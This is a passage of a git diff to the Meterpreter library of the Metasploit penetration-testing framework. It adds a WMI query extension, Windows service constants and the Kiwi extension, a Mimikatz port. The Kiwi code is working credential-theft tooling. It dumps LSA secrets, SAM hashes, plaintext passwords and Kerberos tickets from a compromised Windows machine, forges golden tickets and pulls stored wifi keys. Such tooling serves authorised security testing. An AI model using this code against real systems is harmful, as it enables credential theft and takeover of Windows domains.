(TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57) -TLV_TYPE_EXT_ADSI_VALUE = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 58) -TLV_TYPE_EXT_ADSI_RESULT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 59) -TLV_TYPE_EXT_ADSI_MAXRESULTS = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 60) -TLV_TYPE_EXT_ADSI_PAGESIZE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 61) +TLV_TYPE_EXT_ADSI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 54) +TLV_TYPE_EXT_ADSI_FILTER = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55) +TLV_TYPE_EXT_ADSI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56) +TLV_TYPE_EXT_ADSI_RESULT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57) +TLV_TYPE_EXT_ADSI_MAXRESULTS = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 58) +TLV_TYPE_EXT_ADSI_PAGESIZE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 59) +TLV_TYPE_EXT_ADSI_ARRAY = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 60) +TLV_TYPE_EXT_ADSI_STRING = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 61) +TLV_TYPE_EXT_ADSI_NUMBER = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 62) +TLV_TYPE_EXT_ADSI_BIGNUMBER = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 63) +TLV_TYPE_EXT_ADSI_BOOL = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 64) +TLV_TYPE_EXT_ADSI_RAW = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 65) +TLV_TYPE_EXT_ADSI_PATH = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 66) +TLV_TYPE_EXT_ADSI_PATH_VOL = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 67) +TLV_TYPE_EXT_ADSI_PATH_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 68) +TLV_TYPE_EXT_ADSI_PATH_TYPE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69) +TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70) + +TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90) +TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91) +TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92) +TLV_TYPE_EXT_WMI_VALUE = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 93) +TLV_TYPE_EXT_WMI_FIELDS = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 94) +TLV_TYPE_EXT_WMI_VALUES = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 95) +TLV_TYPE_EXT_WMI_ERROR = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 96) end end diff --git a/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb b/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb new file mode 100644 index 0000000000..fde12f624e --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb @@ -0,0 +1,75 @@ +# -*- coding: binary -*- + +module Rex +module Post +module Meterpreter +module Extensions +module Extapi +module Wmi + +### +# +# This meterpreter extension contains extended API functions for +# performing WMI queries. +# +### +class Wmi + + def initialize(client) + @client = client + end + + # + # Perform a generic wmi query against the target machine. + # + # @param query [String] The WMI query string. + # @param root [String] Specify root to target, otherwise defaults + # to 'root\cimv2' + # + # @return [Hash] Array of field names with associated values. + # + def query(query, root = nil) + request = Packet.create_request('extapi_wmi_query') + + request.add_tlv(TLV_TYPE_EXT_WMI_DOMAIN, root) unless root.blank? + request.add_tlv(TLV_TYPE_EXT_WMI_QUERY, query) + + response = client.send_request(request) + + # Bomb out with the right error messa + error_msg = response.get_tlv_value(TLV_TYPE_EXT_WMI_ERROR) + raise error_msg if error_msg + + fields = [] + fields_tlv = response.get_tlv(TLV_TYPE_EXT_WMI_FIELDS) + + # If we didn't get any fields back, then we didn't get any results. + # The reason is because without results, we don't know which fields + # were requested in the first place + return nil unless fields_tlv + + fields_tlv.each(TLV_TYPE_EXT_WMI_FIELD) { |f| + fields << f.value + } + + values = [] + response.each(TLV_TYPE_EXT_WMI_VALUES) { |r| + value = [] + r.each(TLV_TYPE_EXT_WMI_VALUE) { |v| + value << v.value + } + values << value + } + + return { + :fields => fields, + :values => values + } + end + + attr_accessor :client + +end + +end; end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb new file mode 100644 index 0000000000..3a7eeb7d86 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb @@ -0,0 +1,361 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/kiwi/tlv' +require 'rexml/document' + +module Rex +module Post +module Meterpreter +module Extensions +module Kiwi + +### +# +# Kiwi extension - grabs credentials from windows memory. +# +# Benjamin DELPY `gentilkiwi` +# http://blog.gentilkiwi.com/mimikatz +# +# extension converted by OJ Reeves (TheColonial) +### + +class Kiwi < Extension + + # + # These are constants that identify the type of credential to dump + # from the target machine. + # + PWD_ID_SEK_ALLPASS = 0 + PWD_ID_SEK_WDIGEST = 1 + PWD_ID_SEK_MSV = 2 + PWD_ID_SEK_KERBEROS = 3 + PWD_ID_SEK_TSPKG = 4 + PWD_ID_SEK_LIVESSP = 5 + PWD_ID_SEK_SSP = 6 + PWD_ID_SEK_DPAPI = 7 + + # + # List of names which represent the flags that are part of the + # dumped kerberos tickets. The order of these is important. Each + # of them was pulled from the Mimikatz 2.0 source base. + # + KERBEROS_FLAGS = [ + "NAME CANONICALIZE", + "<unknown>", + "OK AS DELEGATE", + "<unknown>", + "HW AUTHENT", + "PRE AUTHENT", + "INITIAL", + "RENEWABLE", + "INVALID", + "POSTDATED", + "MAY POSTDATE", + "PROXY", + "PROXIABLE", + "FORWARDED", + "FORWARDABLE", + "RESERVED" + ].map(&:freeze).freeze + + # + # Typical extension initialization routine. + # + # @param client (see Extension#initialize) + def initialize(client) + super(client, 'kiwi') + + client.register_extension_aliases( + [ + { + 'name' => 'kiwi', + 'ext' => self + }, + ]) + end + + # + # Dump the LSA secrets from the target machine. + # + # @return [Hash<Symbol,Object>] + def lsa_dump + request = Packet.create_request('kiwi_lsa_dump_secrets') + + response = client.send_request(request) + + result = { + :major => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ), + :minor => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN), + :compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME), + :syskey => response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY), + :nt5key => response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY), + :nt6keys => [], + :secrets => [], + :samkeys => [] + } + + response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k| + result[:nt6keys] << { + :id => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID), + :value => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE) + } + end + + response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s| + result[:secrets] << { + :name => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME), + :service => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV), + :ntlm => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM), + :current => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR), + :current_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW), + :old => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD), + :old_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW) + } + end + + response.each(TLV_TYPE_KIWI_LSA_SAM) do |s| + result[:samkeys] << { + :rid => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_RID), + :user => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_USER), + :ntlm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_NTLMHASH), + :lm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_LMHASH) + } + end + + result + end + + # + # Convert a flag set to a list of string representations for the bit flags + # that are set. + # + # @param flags [Fixnum] Integer bitmask of Kerberos token flags. + # + # @return [Array<String>] Names of all set flags in +flags+. See + # {KERBEROS_FLAGS} + def to_kerberos_flag_list(flags) + flags = flags >> 16 + results = [] + + KERBEROS_FLAGS.each_with_index do |item, idx| + if (flags & (1 << idx)) != 0 + results << item + end + end + + results + end + + # + # List available kerberos tickets. + # + # @param export [Bool] Set to +true+ to export the content of each ticket + # + # @return [Array<Hash>] + # + def kerberos_ticket_list(export) + export ||= false + request = Packet.create_request('kiwi_kerberos_ticket_list') + request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export) + response = client.send_request(request) + + results = [] + + response.each(TLV_TYPE_KIWI_KERB_TKT) do |t| + results << { + :enc_type => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE), + :start => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START), + :end => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END), + :max_renew => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW), + :server => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME), + :server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM), + :client => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME), + :client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM), + :flags => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS), + :raw => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) + } + end + + results + end + + # + # Use the given ticket in the current session. + # + # @param ticket [String] Content of the Kerberos ticket to use. + # + # @return [void] + # + def kerberos_ticket_use(ticket) + request = Packet.create_request('kiwi_kerberos_ticket_use') + request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true) + client.send_request(request) + return true + end + + # + # Purge any Kerberos tickets that have been added to the current session. + # + # @return [void] + # + def kerberos_ticket_purge + request = Packet.create_request('kiwi_kerberos_ticket_purge') + client.send_request(request) + return true + end + + # + # Create a new golden kerberos ticket on the target machine and return it. + # + # @param user [String] Name of the user to create the ticket for. + # @param domain [String] Domain name. + # @param sid [String] SID of the domain. + # @param tgt [String] The kerberos ticket granting token. + # @param id [Fixnum] ID of the user to grant the token for. + # @param group_ids [Array<Fixnum>] IDs of the groups to assign to the user + # + # @return [String] + # + def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = []) + request = Packet.create_request('kiwi_kerberos_golden_ticket_create') + request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user) + request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain) + request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid) + request.add_tlv(TLV_TYPE_KIWI_GOLD_TGT, tgt) + request.add_tlv(TLV_TYPE_KIWI_GOLD_USERID, id) + + group_ids.each do |g| + request.add_tlv(TLV_TYPE_KIWI_GOLD_GROUPID, g) + end + + response = client.send_request(request) + return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) + end + + # + # List all the wifi interfaces and the profiles associated + # with them. Also show the raw text passwords for each. + # + # @return [Array<Hash>] + def wifi_list + request = Packet.create_request('kiwi_wifi_profile_list') + + response = client.send_request(request) + + results = [] + + response.each(TLV_TYPE_KIWI_WIFI_INT) do |i| + interface = { + :guid => Rex::Text::to_guid(i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_GUID)), + :desc => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_DESC), + :state => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_STATE), + :profiles => [] + } + + i.each(TLV_TYPE_KIWI_WIFI_PROFILE) do |p| + + xml = p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_XML) + doc = REXML::Document.new(xml) + profile = doc.elements['WLANProfile'] + + interface[:profiles] << { + :name => p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_NAME), + :auth => profile.elements['MSM/security/authEncryption/authentication'].text, + :key_type => profile.elements['MSM/security/sharedKey/keyType'].text, + :shared_key => profile.elements['MSM/security/sharedKey/keyMaterial'].text + } + end + + results << interface + end + + return results + end + + # + # Scrape passwords from the target machine. + # + # @param pwd_id [Fixnum] ID of the type credential to scrape. + # + # @return [Array<Hash>] + def scrape_passwords(pwd_id) + request = Packet.create_request('kiwi_scrape_passwords') + request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id) + response = client.send_request(request) + + results = [] + response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r| + results << { + :username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME), + :domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN), + :password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD), + :auth_hi => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI), + :auth_lo => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO), + :lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH), + :ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH) + } + end + + return results + end + + # + # Scrape all passwords from the target machine. + # + # @return (see #scrape_passwords) + def all_pass + scrape_passwords(PWD_ID_SEK_ALLPASS) + end + + # + # Scrape wdigest credentials from the target machine. + # + # @return (see #scrape_passwords) + def wdigest + scrape_passwords(PWD_ID_SEK_WDIGEST) + end + + # + # Scrape msv credentials from the target machine. + # + # @return (see #scrape_passwords) + def msv + scrape_passwords(PWD_ID_SEK_MSV) + end + + # + # Scrape LiveSSP credentials from the target machine. + # + # @return (see #scrape_passwords) + def livessp + scrape_passwords(PWD_ID_SEK_LIVESSP) + end + + # + # Scrape SSP credentials from the target machine. + # + # @return (see #scrape_passwords) + def ssp + scrape_passwords(PWD_ID_SEK_SSP) + end + + # + # Scrape TSPKG credentials from the target machine. + # + # @return (see #scrape_passwords) + def tspkg + scrape_passwords(PWD_ID_SEK_TSPKG) + end + + # + # Scrape Kerberos credentials from the target machine. + # + # @return (see #scrape_passwords) + def kerberos + scrape_passwords(PWD_ID_SEK_KERBEROS) + end + +end + +end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb b/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb new file mode 100644 index 0000000000..ff09f8a0b8 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb @@ -0,0 +1,76 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Kiwi + +TLV_TYPE_KIWI_PWD_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1) +TLV_TYPE_KIWI_PWD_RESULT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 2) +TLV_TYPE_KIWI_PWD_USERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3) +TLV_TYPE_KIWI_PWD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4) +TLV_TYPE_KIWI_PWD_PASSWORD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5) +TLV_TYPE_KIWI_PWD_AUTH_HI = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 6) +TLV_TYPE_KIWI_PWD_AUTH_LO = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 7) +TLV_TYPE_KIWI_PWD_LMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8) +TLV_TYPE_KIWI_PWD_NTLMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9) + +TLV_TYPE_KIWI_GOLD_USER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10) +TLV_TYPE_KIWI_GOLD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 11) +TLV_TYPE_KIWI_GOLD_SID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 12) +TLV_TYPE_KIWI_GOLD_TGT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 13) +TLV_TYPE_KIWI_GOLD_USERID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 14) +TLV_TYPE_KIWI_GOLD_GROUPID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 15) + +TLV_TYPE_KIWI_LSA_VER_MAJ = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 20) +TLV_TYPE_KIWI_LSA_VER_MIN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 21) +TLV_TYPE_KIWI_LSA_COMPNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 22) +TLV_TYPE_KIWI_LSA_SYSKEY = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 23) +TLV_TYPE_KIWI_LSA_KEYCOUNT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 24) +TLV_TYPE_KIWI_LSA_KEYID = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 25) +TLV_TYPE_KIWI_LSA_KEYIDX = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 26) +TLV_TYPE_KIWI_LSA_KEYVALUE = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 27) +TLV_TYPE_KIWI_LSA_NT6KEY = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 28) +TLV_TYPE_KIWI_LSA_NT5KEY = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 29) + +TLV_TYPE_KIWI_LSA_SECRET = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 35) +TLV_TYPE_KIWI_LSA_SECRET_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 36) +TLV_TYPE_KIWI_LSA_SECRET_SERV = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 37) +TLV_TYPE_KIWI_LSA_SECRET_NTLM = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 38) +TLV_TYPE_KIWI_LSA_SECRET_CURR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 39) +TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 40) +TLV_TYPE_KIWI_LSA_SECRET_OLD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 41) +TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 42) + +TLV_TYPE_KIWI_LSA_SAM = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 50) +TLV_TYPE_KIWI_LSA_SAM_RID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 51) +TLV_TYPE_KIWI_LSA_SAM_USER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 52) +TLV_TYPE_KIWI_LSA_SAM_LMHASH = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 53) +TLV_TYPE_KIWI_LSA_SAM_NTLMHASH = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 54) + +TLV_TYPE_KIWI_KERB_EXPORT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 60) +TLV_TYPE_KIWI_KERB_TKT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 61) +TLV_TYPE_KIWI_KERB_TKT_ENCTYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 62) +TLV_TYPE_KIWI_KERB_TKT_START = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 63) +TLV_TYPE_KIWI_KERB_TKT_END = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 64) +TLV_TYPE_KIWI_KERB_TKT_MAXRENEW = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 65) +TLV_TYPE_KIWI_KERB_TKT_SERVERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 66) +TLV_TYPE_KIWI_KERB_TKT_SERVERREALM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 67) +TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 68) +TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 69) +TLV_TYPE_KIWI_KERB_TKT_FLAGS = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 70) +TLV_TYPE_KIWI_KERB_TKT_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 71) + +TLV_TYPE_KIWI_WIFI_INT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 75) +TLV_TYPE_KIWI_WIFI_INT_GUID = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 76) +TLV_TYPE_KIWI_WIFI_INT_STATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 77) +TLV_TYPE_KIWI_WIFI_INT_DESC = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 78) +TLV_TYPE_KIWI_WIFI_PROFILE = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 79) +TLV_TYPE_KIWI_WIFI_PROFILE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 80) +TLV_TYPE_KIWI_WIFI_PROFILE_XML = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 81) + +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index c6baae6511..71575128f9 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -45,9 +45,10 @@ class Priv < Extension elevator_name = Rex::Text.rand_text_alpha_lower( 6 ) - elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" ) - - elevator_path = ::File.expand_path( elevator_path ) + elevator_path = MeterpreterBinaries.path('elevator', client.binary_suffix) + if elevator_path.nil? + raise RuntimeError, "elevator.#{binary_suffix} not found", caller + end elevator_data = "" diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb index b93d0b4eb1..0f430f879b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb @@ -203,10 +203,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO alias delete rm end - # - # Performs a rename from oldname to newname - # - def File.mv(oldname, newname) + # + # Performs a rename from oldname to newname + # + def File.mv(oldname, newname) request = Packet.create_request('stdapi_fs_file_move') request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode( oldname )) @@ -215,12 +215,12 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO response = client.send_request(request) return response - end + end - class << self - alias move mv - alias rename mv - end + class << self + alias move mv + alias rename mv + end # # Upload one or more files to the remote remote directory supplied in @@ -246,9 +246,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO # # Upload a single file. # - def File.upload_file(dest_file, src_file) + def File.upload_file(dest_file, src_file, &stat) # Open the file on the remote side for writing and read # all of the contents of the local file + stat.call('uploading', src_file, dest_file) if (stat) dest_fd = client.fs.file.new(dest_file, "wb") src_buf = '' @@ -261,6 +262,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO ensure dest_fd.close end + stat.call('uploaded', src_file, dest_file) if (stat) end # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb index 5f8e237fdb..74395ec8b9 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb @@ -370,7 +370,6 @@ class ApiConstants win_const_mgr.add_const('SQL_CVT_LONGVARBINARY',0x00040000) win_const_mgr.add_const('WM_RESTORE_INDIVIDUALIZE',0x00000002) win_const_mgr.add_const('ARRAY_SEP_CHAR',0x00000009) - win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002) win_const_mgr.add_const('ERROR_NO_SAVEPOINT_WITH_OPEN_FILES',0x00001ABA) win_const_mgr.add_const('OID_FDDI_SMT_STATION_ACTION',0x03030277) win_const_mgr.add_const('OID_PNP_ADD_WAKE_UP_PATTERN',0xFD010103) @@ -2357,7 +2356,70 @@ class ApiConstants win_const_mgr.add_const('RTM_VIEW_MASK_UCAST',0x00000001) win_const_mgr.add_const('CERT_ALT_NAME_VALUE_ERR_INDEX_MASK',0x0000FFFF) win_const_mgr.add_const('ERROR_NO_SUCH_GROUP',0x00000527) + + # Generic Access Rights win_const_mgr.add_const('GENERIC_ALL',0x10000000) + win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000) + win_const_mgr.add_const('GENERIC_WRITE',0x40000000) + win_const_mgr.add_const('GENERIC_READ',0x80000000) + + + # Standard Access Rights + win_const_mgr.add_const('DELETE',0x00010000) + win_const_mgr.add_const('READ_CONTROL',0x00020000) + win_const_mgr.add_const('WRITE_DAC',0x00040000) + win_const_mgr.add_const('WRITE_OWNER',0x00080000) + win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000) + + # Services + win_const_mgr.add_const('SERVICE_NO_CHANGE',0xFFFFFFFF) + + # Service Start Types + win_const_mgr.add_const('START_TYPE_BOOT',0x00000000) + win_const_mgr.add_const('START_TYPE_SYSTEM',0x00000001) + win_const_mgr.add_const('START_TYPE_AUTO',0x00000002) + win_const_mgr.add_const('START_TYPE_MANUAL',0x00000003) + win_const_mgr.add_const('START_TYPE_DISABLED',0x00000004) + + # Service States + win_const_mgr.add_const('SERVICE_STOPPED',0x00000001) + win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002) + win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003) + win_const_mgr.add_const('SERVICE_RUNNING',0x00000004) + win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005) + win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006) + win_const_mgr.add_const('SERVICE_PAUSED',0x00000007) + + # Service Types + win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001) + win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002) + win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004) + win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008) + win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010) + win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020) + + # Service Manager Permissions + win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001) + win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002) + win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004) + win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008) + win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010) + win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020) + win_const_mgr.add_const('SC_MANAGER_USER_DEFINED_CONTROL',0x00000100) + win_const_mgr.add_const('SC_MANAGER_ALL_ACCESS',0x000F003F) + + # Service Permissions + win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001) + win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002) + win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004) + win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008) + win_const_mgr.add_const('SERVICE_START',0x00000010) + 